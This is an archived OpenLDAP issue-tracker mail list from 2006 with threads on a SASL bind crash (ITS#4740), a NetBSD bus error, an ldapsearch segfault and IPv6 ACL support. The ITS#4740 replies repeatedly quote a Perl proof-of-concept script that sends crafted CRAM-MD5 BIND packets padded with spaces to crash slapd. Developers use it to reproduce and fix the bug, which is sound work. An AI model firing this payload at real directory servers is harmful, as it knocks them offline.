Re: (ITS#4740) SASL bind assert
by Kurt＠OpenLDAP.org
At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote:
>Spoke too soon.
>You code appears to be sending the same requests as
>Nessus, at least as described here:
> http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625
>
>Suspect a mismatch between what you and Brian are
>testing...
Howard, is the normalized authcDN in your testing correct?
>Kurt
>
>At 07:30 PM 11/27/2006, Kurt(a)OpenLDAP.org wrote:
>> From the provided log, looks like it's a SASL/CRAM-MD5
>>authentication with lots of spaces in the authcid.
>>
>>Logs:
>>>>>> dnPrettyNormal: <>
>>><<< dnPrettyNormal: <>, <>
>>>do_sasl_bind: dn () mech CRAM-MD5
>>
>>empty bind DN
>>
>>>==> sasl_bind: dn="" mech=<continuing> datalen=1024
>>>SASL Canonicalize [conn=21]:
>>>authcid="
>>>"
>>
>>authcid of spaces.
>>
>>>slap_sasl_getdn: conn 21
>>>id=
>>>[len=255]
>>
>>255 spaces.
>>
>>>=> ldap_dn2bv(16)
>>><=
>>>ldap_dn2bv(uid=\20
>>>\20,cn=CRAM-MD5,cn=auth)=0
>>>slap_sasl_getdn: u:id converted to
>>>uid=\20
>>>\20,cn=CRAM-MD5,cn=auth
>>
>>OKAY.
>>
>>>>>> dnNormalize:
>>><uid=\20
>>>\20,cn=CRAM-MD5,cn=auth>
>>>=>
>>>ldap_bv2dn(uid=\20
>>>\20,cn=CRAM-MD5,cn=auth,0)
>>><=
>>>ldap_bv2dn(uid=\20
>>>\20,cn=CRAM-MD5,cn=auth)=0
>>>=> ldap_dn2bv(272)
>>><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0
>>
>>BAD! We lost 254 spaces (last of which was escaped).
>>
>>><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth>
>>>==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN
>>>slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth
>>><==slap_sasl2dn: Converted SASL name to <nothing>
>>>SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth"
>>>
>>
>>At 07:13 PM 11/27/2006, hyc(a)symas.com wrote:
>>>bthomas(a)google.com wrote:
>>>> ------=_Part_8120_20176863.1164676496288
>>>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>>>> Content-Transfer-Encoding: 7bit
>>>> Content-Disposition: inline
>>>>
>>>> Hello,
>>>>
>>>> It would appear from my testing that this bug is not fixed. I have compiled
>>>> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has
>>>> the fixes that were introduced in 1.134. However, a nessus scan that
>>>> attempts to exploit this bug still succeeds in crashing slapd, with debug
>>>> output attached below (I've snipped the actual data passsed in, suffice to
>>>> say it's 255 0x20's).
>>>>
>>>> I'm happy to provide any other information as needed. I've taken a look at
>>>> the diffs but haven't been able to find what the problem is.
>>>
>>>This is the perl script I used to verify the bug here. slapd works fine
>>>for me with this. If you can tell us how to reproduce the crash, we can
>>>investigate further.
>>>
>>>use IO::Socket;
>>>
>>> my $host = "localhost";
>>> my $port = 9011;
>>>
>>> my $sock = IO::Socket::INET->new(
>>> Proto => "tcp",
>>> PeerAddr => $host,
>>> PeerPort => $port, )
>>> or die "Error creating socket";
>>>
>>> print "Sending LDAP BIND request...\n";
>>>
>>> my
>>>$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04";
>>> $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35";
>>> print $sock $s;
>>>
>>> my $buf = ' ';
>>> read( $sock, $buf, 24 );
>>>
>>> $s =
>>>"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04";
>>> $s .=
>>>"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04";
>>> $s .= "\x82\x04\x00";
>>> $s .= "\x20" x 1024;
>>>
>>> print "Sending second LDAP BIND request...\n";
>>>
>>> print $sock $s;
>>> close $sock;
>>>
>>> print "Done\n";
>>>
>>>--
>>> -- Howard Chu
>>> Chief Architect, Symas Corp. http://www.symas.com
>>> Director, Highland Sun http://highlandsun.com/hyc
>>> OpenLDAP Core Team http://www.openldap.org/project/
16 years, 6 months
Re: (ITS#4740) SASL bind assert
by Kurt＠OpenLDAP.org
Spoke too soon.
You code appears to be sending the same requests as
Nessus, at least as described here:
http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625
Suspect a mismatch between what you and Brian are
testing...
Kurt
At 07:30 PM 11/27/2006, Kurt(a)OpenLDAP.org wrote:
> From the provided log, looks like it's a SASL/CRAM-MD5
>authentication with lots of spaces in the authcid.
>
>Logs:
>>>>> dnPrettyNormal: <>
>><<< dnPrettyNormal: <>, <>
>>do_sasl_bind: dn () mech CRAM-MD5
>
>empty bind DN
>
>>==> sasl_bind: dn="" mech=<continuing> datalen=1024
>>SASL Canonicalize [conn=21]:
>>authcid="
>>"
>
>authcid of spaces.
>
>>slap_sasl_getdn: conn 21
>>id=
>>[len=255]
>
>255 spaces.
>
>>=> ldap_dn2bv(16)
>><=
>>ldap_dn2bv(uid=\20
>>\20,cn=CRAM-MD5,cn=auth)=0
>>slap_sasl_getdn: u:id converted to
>>uid=\20
>>\20,cn=CRAM-MD5,cn=auth
>
>OKAY.
>
>>>>> dnNormalize:
>><uid=\20
>>\20,cn=CRAM-MD5,cn=auth>
>>=>
>>ldap_bv2dn(uid=\20
>>\20,cn=CRAM-MD5,cn=auth,0)
>><=
>>ldap_bv2dn(uid=\20
>>\20,cn=CRAM-MD5,cn=auth)=0
>>=> ldap_dn2bv(272)
>><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0
>
>BAD! We lost 254 spaces (last of which was escaped).
>
>><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth>
>>==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN
>>slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth
>><==slap_sasl2dn: Converted SASL name to <nothing>
>>SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth"
>>
>
>At 07:13 PM 11/27/2006, hyc(a)symas.com wrote:
>>bthomas(a)google.com wrote:
>>> ------=_Part_8120_20176863.1164676496288
>>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>>> Content-Transfer-Encoding: 7bit
>>> Content-Disposition: inline
>>>
>>> Hello,
>>>
>>> It would appear from my testing that this bug is not fixed. I have compiled
>>> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has
>>> the fixes that were introduced in 1.134. However, a nessus scan that
>>> attempts to exploit this bug still succeeds in crashing slapd, with debug
>>> output attached below (I've snipped the actual data passsed in, suffice to
>>> say it's 255 0x20's).
>>>
>>> I'm happy to provide any other information as needed. I've taken a look at
>>> the diffs but haven't been able to find what the problem is.
>>
>>This is the perl script I used to verify the bug here. slapd works fine
>>for me with this. If you can tell us how to reproduce the crash, we can
>>investigate further.
>>
>>use IO::Socket;
>>
>> my $host = "localhost";
>> my $port = 9011;
>>
>> my $sock = IO::Socket::INET->new(
>> Proto => "tcp",
>> PeerAddr => $host,
>> PeerPort => $port, )
>> or die "Error creating socket";
>>
>> print "Sending LDAP BIND request...\n";
>>
>> my
>>$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04";
>> $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35";
>> print $sock $s;
>>
>> my $buf = ' ';
>> read( $sock, $buf, 24 );
>>
>> $s =
>>"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04";
>> $s .=
>>"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04";
>> $s .= "\x82\x04\x00";
>> $s .= "\x20" x 1024;
>>
>> print "Sending second LDAP BIND request...\n";
>>
>> print $sock $s;
>> close $sock;
>>
>> print "Done\n";
>>
>>--
>> -- Howard Chu
>> Chief Architect, Symas Corp. http://www.symas.com
>> Director, Highland Sun http://highlandsun.com/hyc
>> OpenLDAP Core Team http://www.openldap.org/project/
16 years, 6 months
Re: (ITS#4740) SASL bind assert
by Kurt＠OpenLDAP.org
From the provided log, looks like it's a SASL/CRAM-MD5
authentication with lots of spaces in the authcid.
Logs:
>>>> dnPrettyNormal: <>
><<< dnPrettyNormal: <>, <>
>do_sasl_bind: dn () mech CRAM-MD5
empty bind DN
>==> sasl_bind: dn="" mech=<continuing> datalen=1024
>SASL Canonicalize [conn=21]:
>authcid="
>"
authcid of spaces.
>slap_sasl_getdn: conn 21
>id=
>[len=255]
255 spaces.
>=> ldap_dn2bv(16)
><=
>ldap_dn2bv(uid=\20
>\20,cn=CRAM-MD5,cn=auth)=0
>slap_sasl_getdn: u:id converted to
>uid=\20
>\20,cn=CRAM-MD5,cn=auth
OKAY.
>>>> dnNormalize:
><uid=\20
>\20,cn=CRAM-MD5,cn=auth>
>=>
>ldap_bv2dn(uid=\20
>\20,cn=CRAM-MD5,cn=auth,0)
><=
>ldap_bv2dn(uid=\20
>\20,cn=CRAM-MD5,cn=auth)=0
>=> ldap_dn2bv(272)
><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0
BAD! We lost 254 spaces (last of which was escaped).
><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth>
>==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN
>slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth
><==slap_sasl2dn: Converted SASL name to <nothing>
>SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth"
>
At 07:13 PM 11/27/2006, hyc(a)symas.com wrote:
>bthomas(a)google.com wrote:
>> ------=_Part_8120_20176863.1164676496288
>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>> Content-Transfer-Encoding: 7bit
>> Content-Disposition: inline
>>
>> Hello,
>>
>> It would appear from my testing that this bug is not fixed. I have compiled
>> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has
>> the fixes that were introduced in 1.134. However, a nessus scan that
>> attempts to exploit this bug still succeeds in crashing slapd, with debug
>> output attached below (I've snipped the actual data passsed in, suffice to
>> say it's 255 0x20's).
>>
>> I'm happy to provide any other information as needed. I've taken a look at
>> the diffs but haven't been able to find what the problem is.
>
>This is the perl script I used to verify the bug here. slapd works fine
>for me with this. If you can tell us how to reproduce the crash, we can
>investigate further.
>
>use IO::Socket;
>
> my $host = "localhost";
> my $port = 9011;
>
> my $sock = IO::Socket::INET->new(
> Proto => "tcp",
> PeerAddr => $host,
> PeerPort => $port, )
> or die "Error creating socket";
>
> print "Sending LDAP BIND request...\n";
>
> my
>$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04";
> $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35";
> print $sock $s;
>
> my $buf = ' ';
> read( $sock, $buf, 24 );
>
> $s =
>"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04";
> $s .=
>"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04";
> $s .= "\x82\x04\x00";
> $s .= "\x20" x 1024;
>
> print "Sending second LDAP BIND request...\n";
>
> print $sock $s;
> close $sock;
>
> print "Done\n";
>
>--
> -- Howard Chu
> Chief Architect, Symas Corp. http://www.symas.com
> Director, Highland Sun http://highlandsun.com/hyc
> OpenLDAP Core Team http://www.openldap.org/project/
16 years, 6 months
Re: (ITS#4740) SASL bind assert
by hyc＠symas.com
bthomas(a)google.com wrote:
> ------=_Part_8120_20176863.1164676496288
> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
> Content-Transfer-Encoding: 7bit
> Content-Disposition: inline
>
> Hello,
>
> It would appear from my testing that this bug is not fixed. I have compiled
> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has
> the fixes that were introduced in 1.134. However, a nessus scan that
> attempts to exploit this bug still succeeds in crashing slapd, with debug
> output attached below (I've snipped the actual data passsed in, suffice to
> say it's 255 0x20's).
>
> I'm happy to provide any other information as needed. I've taken a look at
> the diffs but haven't been able to find what the problem is.
This is the perl script I used to verify the bug here. slapd works fine
for me with this. If you can tell us how to reproduce the crash, we can
investigate further.
use IO::Socket;
my $host = "localhost";
my $port = 9011;
my $sock = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $host,
PeerPort => $port, )
or die "Error creating socket";
print "Sending LDAP BIND request...\n";
my
$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04";
$s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35";
print $sock $s;
my $buf = ' ';
read( $sock, $buf, 24 );
$s =
"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04";
$s .=
"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04";
$s .= "\x82\x04\x00";
$s .= "\x20" x 1024;
print "Sending second LDAP BIND request...\n";
print $sock $s;
close $sock;
print "Done\n";
--
-- Howard Chu
Chief Architect, Symas Corp. http://www.symas.com
Director, Highland Sun http://highlandsun.com/hyc
OpenLDAP Core Team http://www.openldap.org/project/
16 years, 6 months
Re: (ITS#4740) SASL bind assert
by bthomas＠google.com
------=_Part_8120_20176863.1164676496288
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Hello,
It would appear from my testing that this bug is not fixed. I have compiled
and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has
the fixes that were introduced in 1.134. However, a nessus scan that
attempts to exploit this bug still succeeds in crashing slapd, with debug
output attached below (I've snipped the actual data passsed in, suffice to
say it's 255 0x20's).
I'm happy to provide any other information as needed. I've taken a look at
the diffs but haven't been able to find what the problem is.
Brian
ber_scanf fmt (}}) ber:
ber_dump: buf=0x09efba28 ptr=0x09efbe47 end=0x09efbe47 len=0
>>> dnPrettyNormal: <>
<<< dnPrettyNormal: <>, <>
do_sasl_bind: dn () mech CRAM-MD5
==> sasl_bind: dn="" mech=<continuing> datalen=1024
SASL Canonicalize [conn=21]:
authcid="
"
slap_sasl_getdn: conn 21
id=
[len=255]
=> ldap_dn2bv(16)
<=
ldap_dn2bv(uid=\20
\20,cn=CRAM-MD5,cn=auth)=0
slap_sasl_getdn: u:id converted to
uid=\20
\20,cn=CRAM-MD5,cn=auth
>>> dnNormalize:
<uid=\20
\20,cn=CRAM-MD5,cn=auth>
=>
ldap_bv2dn(uid=\20
\20,cn=CRAM-MD5,cn=auth,0)
<=
ldap_bv2dn(uid=\20
\20,cn=CRAM-MD5,cn=auth)=0
=> ldap_dn2bv(272)
<= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0
<<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth>
==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN
slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth
<==slap_sasl2dn: Converted SASL name to <nothing>
SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth"
------=_Part_8120_20176863.1164676496288
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
Hello,<br><br>It would appear from my testing that this bug is not fixed. I=
have compiled and installed 2.3.30 and verified that my version of getdn.c=
(<a href=3D"http://1.124.2.5">1.124.2.5</a>) has the fixes that were intro=
duced in=20
1.134. However, a nessus scan that attempts to exploit this bug still succe=
eds in crashing slapd, with debug output attached below (I've snipped the a=
ctual data passsed in, suffice to say it's 255 0x20's). <br><br>I'm happy t=
o provide any other information as needed. I've taken a look at the diffs b=
ut haven't been able to find what the problem is.
<br><br>Brian<br><br>ber_scanf fmt (}}) ber:<br>ber_dump: buf=3D0x09efba28 =
ptr=3D0x09efbe47 end=3D0x09efbe47 len=3D0<br><br>>>> dnPrettyNorma=
l: <><br><<< dnPrettyNormal: <>, <><br>do_sasl_b=
ind: dn () mech CRAM-MD5
<br>=3D=3D> sasl_bind: dn=3D"" mech=3D<continuing> datal=
en=3D1024<br>SASL Canonicalize [conn=3D21]: authcid=3D" &nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
"
<br>slap_sasl_getdn: conn 21 id=3D  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp; [len=3D255]
<br>=3D> ldap_dn2bv(16)<br><=3D ldap_dn2bv(uid=3D\20  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp; \20,=
cn=3DCRAM-MD5,cn=3Dauth)=3D0
<br>slap_sasl_getdn: u:id converted to uid=3D\20 &nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
&nb=
sp; =
\20,cn=3DCRAM-=
MD5,cn=3Dauth
<br>>>> dnNormalize: <uid=3D\20 &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; &n=
bsp;  =
; \20,cn=3DCRAM-MD5,c=
n=3Dauth>
<br>=3D> ldap_bv2dn(uid=3D\20 &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; \20,cn=3DCRAM-MD5,cn=3Dauth,0)
<br><=3D ldap_bv2dn(uid=3D\20 &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; &=
nbsp; &nbs=
p; \20,cn=3DCRAM-MD5,cn=3Dauth)=
=3D0
<br>=3D> ldap_dn2bv(272)<br><=3D ldap_dn2bv(uid=3D\20,cn=3Dcram-md5,c=
n=3Dauth)=3D0<br><<< dnNormalize: <uid=3D\20,cn=3Dcram-md5,cn=
=3Dauth><br>=3D=3D>slap_sasl2dn: converting SASL name uid=3D\20,cn=3D=
cram-md5,cn=3Dauth to a DN
<br>slap_authz_regexp: converting SASL name uid=3D\20,cn=3Dcram-md5,cn=3Dau=
th<br><=3D=3Dslap_sasl2dn: Converted SASL name to <nothing><br>SAS=
L Canonicalize [conn=3D21]: slapAuthcDN=3D"uid=3D\20,cn=3Dcram-md5,cn=
=3Dauth"<br>
<br><br><br>
------=_Part_8120_20176863.1164676496288--
16 years, 6 months
Re: (ITS#4675) slapd bus error when searching in a subtree
by hyc＠symas.com
ghen(a)telenet.be wrote:
> On Fri, Nov 17, 2006 at 12:19:58PM -0800, Quanah Gibson-Mount wrote:
>> --On Wednesday, November 15, 2006 3:53 PM +0000 ghen(a)telenet.be wrote:
>>> Why was tick ticket closed? The problem still exists.
>> Did you read the notes in the ITS system?
>
> I did. It says "NetBSD-specific, raise stacksize ulimit". I hope you
> don't count such a work-around as a fix...
The fact that altering your ulimit changes the behavior indicates that
your OS's pthread implementation is broken. We cannot fix that. We use
the documented, portable pthread API to specify the stack size that we
need for each thread, and it seems your platform will not honor our
request without you raising your ulimit. The stacksize ulimit should
only affect non-threaded processes, or the main thread in a threaded
process. It should not affect any threads created by the application,
especially when we set an explicit size at thread creation time.
So you have to set an explicit ulimit before starting slapd. This is no
different from having to set the nfiles limit on some platforms to raise
the number of available file descriptors. That's an administration
detail, not a software bug.
--
-- Howard Chu
Chief Architect, Symas Corp. http://www.symas.com
Director, Highland Sun http://highlandsun.com/hyc
OpenLDAP Core Team http://www.openldap.org/project/
16 years, 6 months
Re: (ITS#4675) slapd bus error when searching in a subtree
by ghen＠telenet.be
On Fri, Nov 17, 2006 at 12:19:58PM -0800, Quanah Gibson-Mount wrote:
> --On Wednesday, November 15, 2006 3:53 PM +0000 ghen(a)telenet.be wrote:
> >Why was tick ticket closed? The problem still exists.
>
> Did you read the notes in the ITS system?
I did. It says "NetBSD-specific, raise stacksize ulimit". I hope you
don't count such a work-around as a fix...
Geert
16 years, 6 months
(ITS#4763) slapd crashed with ldapsearch command without arguments
by saint.cn＠gmail.com
Full_Name: Jack Chen
Version: 2.3.27
OS: Redhat AS 3.0 2.4.21-40.ELsmp
URL: ftp://ftp.openldap.org/incoming/
Submission from: (NULL) (60.12.9.18)
I found when I run ldap commands without arguments always get password imput
requirement before result. But the command always told me
"ldap_sasl_interactive_bind_s: Can't contact LDAP server". Then I found the
slapd crashed.
Then I start slpad with command like "slpad -d 256" with root account and want
to get debug information before slpad crash.
Then following is the startup information:
=====================================================================
@(#) $OpenLDAP: slapd 2.3.27 (Sep 30 2006 16:10:17) $
root@caivs:/home/jack/tools/openldap-2.3.27/servers/slapd
daemon: IPv6 socket() failed errno=97 (Address family not supported by
protocol)
bdb_db_open: unclean shutdown detected; attempting recovery.
bdb_db_open: Warning - No DB_CONFIG file found in directory
/usr/local/openldap/var/openldap-data: (2)
Expect poor performance for suffix dc=test,dc=com.
slapd starting
=====================================================================
And when I input command "ldapsearch" in shell with root account, and input
password with any words and return. The command tell me like following:
=====================================================================
/usr/local/BerkeleyDB.4.5/bin:$ldapsearch
SASL/DIGEST-MD5 authentication started
Please enter your password:
ldap_sasl_interactive_bind_s: Can't contact LDAP server
=====================================================================
And I check the console which is running slapd, and get following information:
=====================================================================
conn=0 fd=10 ACCEPT from IP=127.0.0.1:33518 (IP=0.0.0.0:389)
conn=0 op=0 SRCH base="" scope=0 deref=0 filter="(objectClass=*)"
conn=0 op=0 SRCH attr=supportedSASLMechanisms
conn=0 op=0 SEARCH RESULT tag=101 err=0 nentries=1 text=
conn=0 op=1 BIND dn="" method=163
conn=0 op=1 RESULT tag=97 err=14 text=
conn=0 op=2 BIND dn="" method=163
/etc/sasldb2: Successful return: 0
segment fault (core dumped)
=====================================================================
Because I'v set "ulimit -c 10000000", so get a coredump file additionally with
no debug info inside.
16 years, 6 months
Re: (ITS#4756) IPv6 Addresses are not supported in ACL peername
by hyc＠symas.com
ando(a)sys-net.it wrote:
> Damon.Groenveld(a)ca.com wrote:
>> Given that the code (in aclparse.c) calls inet_addr() with the
>> peername.ip parameter, I can't see how it could will work with IPv6.
>>
>> The only possible workaround is using a regex instead of ip type which
>> by passes the inet_addr() call.
>>
>> I raised it as a bug since the latest version (as far as I can tell) is
>> meant to support IPv6 and there is no way that peername.ip does and
>> there isn't an alternative.
>>
> The peername.ip was designed with IPv4 in mind. A patch to support IPv6
> in ACLs would be welcome, though. In the meanwhile, I believe a regex
> style would be the solution, but note that I have no idea of how IPv6
> would be stringified in the peername. Note that the whole issue is of
> questionable relevance, since IP-based access checking is not considered
> trustable.
Yes, peername.regex works fine.
Currently IPv6 peernames are reported as colon-separated hex octets
followed by a space, then the port number: "xxxx:....:zzzz ppppp". It
strikes me that we should be using URL format instead, which uses square
brackets: "[xxxx:....:zzzz]:ppppp".
--
-- Howard Chu
Chief Architect, Symas Corp. http://www.symas.com
Director, Highland Sun http://highlandsun.com/hyc
OpenLDAP Core Team http://www.openldap.org/project/
16 years, 6 months
Re: (ITS#4756) IPv6 Addresses are not supported in ACL peername
by ando＠sys-net.it
Damon.Groenveld(a)ca.com wrote:
> Given that the code (in aclparse.c) calls inet_addr() with the
> peername.ip parameter, I can't see how it could will work with IPv6.
>
> The only possible workaround is using a regex instead of ip type which
> by passes the inet_addr() call.
>
> I raised it as a bug since the latest version (as far as I can tell) is
> meant to support IPv6 and there is no way that peername.ip does and
> there isn't an alternative.
>
The peername.ip was designed with IPv4 in mind. A patch to support IPv6
in ACLs would be welcome, though. In the meanwhile, I believe a regex
style would be the solution, but note that I have no idea of how IPv6
would be stringified in the peername. Note that the whole issue is of
questionable relevance, since IP-based access checking is not considered
trustable.
> I asked the question regarding other ways to restrict access since I
> noted that the documentation mentions TCP Wrappers and has a see also of
> host_options(5) -- which does not exist,
Apparently that should be hosts_options(5):
$ apropos hosts_options
hosts_options (5) - host access control language extensions
Can you point me to the incorrect documentation?
> so I was hoping that some
> advice might come while someone looked at the problem (if or when it was
> deemed important enough).
>
p.
Ing. Pierangelo Masarati
OpenLDAP Core Team
SysNet s.n.c.
Via Dossi, 8 - 27100 Pavia - ITALIA
http://www.sys-net.it
------------------------------------------
Office: +39.02.23998309
Mobile: +39.333.4963172
Email: pierangelo.masarati(a)sys-net.it
------------------------------------------
16 years, 6 months
